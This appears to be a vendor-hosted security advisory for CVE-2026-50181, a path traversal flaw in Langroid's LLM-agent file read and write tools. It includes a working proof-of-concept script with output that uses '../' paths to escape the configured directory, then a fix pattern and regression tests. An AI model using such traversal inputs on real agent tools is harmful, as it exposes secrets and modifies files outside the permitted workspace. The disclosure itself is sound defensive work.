Summary
Langroid: Path traversal in the file tools allows read/write outside configured current directory
Full technical description
Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.
As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.
This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.
Details
Affected components:
langroid/agent/tools/file_tools.pylangroid/utils/system.py
Relevant behavior observed:
ReadFileTool contains a comment indicating the intended assumption:
# ASSUME: file_path should be relative to the curr_dir
The tool then changes into the configured current directory and calls read_file(self.file_path).
WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).
The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.
In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.
PoC
Tested locally against the current Langroid repository checkout.
Environment:
Python 3.12
Langroid installed in editable mode with pip install -e .
PoC script:
from pathlib import Path
from tempfile import TemporaryDirectory
import os
os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"
from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool
class DummyIndex:
def add(self, files):
print("dummy git add:", files)
def commit(self, message):
print("dummy git commit:", message)
class DummyRepo:
index = DummyIndex()
with TemporaryDirectory() as root:
base = Path(root)
sandbox = base / "sandbox"
sandbox.mkdir()
secret = base / "secret.txt"
secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")
ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
read_tool = ReadSandbox(file_path="../secret.txt")
print("READ TOOL RESULT:")
print(read_tool.handle())
WriteSandbox = WriteFileTool.create(
get_curr_dir=lambda: sandbox,
get_git_repo=lambda: DummyRepo(),
)
write_tool = WriteSandbox(
file_path="../written_by_tool.txt",
content="WRITTEN_BY_LANGROID_TOOL",
language="text",
)
print("WRITE TOOL RESULT:")
print(write_tool.handle())
outside = base / "written_by_tool.txt"
print("outside exists:", outside.exists())
print("outside content:", outside.read_text(encoding="utf-8"))
Observed output:
READ TOOL RESULT:
CONTENTS of ../secret.txt:
(Line numbers added for reference only!)
---------------------------
1: LANGROID_TOOL_ESCAPE_PROOF
WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL
This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.
Impact
If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.
Potential impact includes:
Reading files outside the intended workspace.
Writing files outside the intended workspace.
Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files.
Modifying files outside the intended project directory if WriteFileTool is enabled.
This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.
This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.
Suggested remediation
Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.
Example patch pattern:
from pathlib import Path
def safe_join(base_dir: str | Path, user_path: str | Path) -> Path:
base = Path(base_dir).resolve()
target = (base / user_path).resolve()
if target != base and base not in target.parents:
raise ValueError("Path escapes configured current directory")
return target
Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.
Suggested regression tests:
ReadFileTool(file_path="../secret.txt") should be rejected.
WriteFileTool(file_path="../outside.txt") should be rejected.
Absolute paths outside curr_dir should be rejected.
Symlink-based escapes should be rejected after final path resolution.
Normal relative paths inside curr_dir, such as src/main.py, should continue to work.
[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-50181 has a CVSS score of 7.1 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.64.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-50181? CVE-2026-50181 is a high-severity path traversal vulnerability in langroid (pip), affecting versions <= 0.63.0. It is fixed in 0.64.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-50181? CVE-2026-50181 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langroid are affected by CVE-2026-50181? langroid (pip) versions <= 0.63.0 is affected.
- Is there a fix for CVE-2026-50181? Yes. CVE-2026-50181 is fixed in 0.64.0. Upgrade to this version or later.
- Is CVE-2026-50181 exploitable, and should I be worried? Whether CVE-2026-50181 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50181 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50181? Upgrade
langroidto 0.64.0 or later.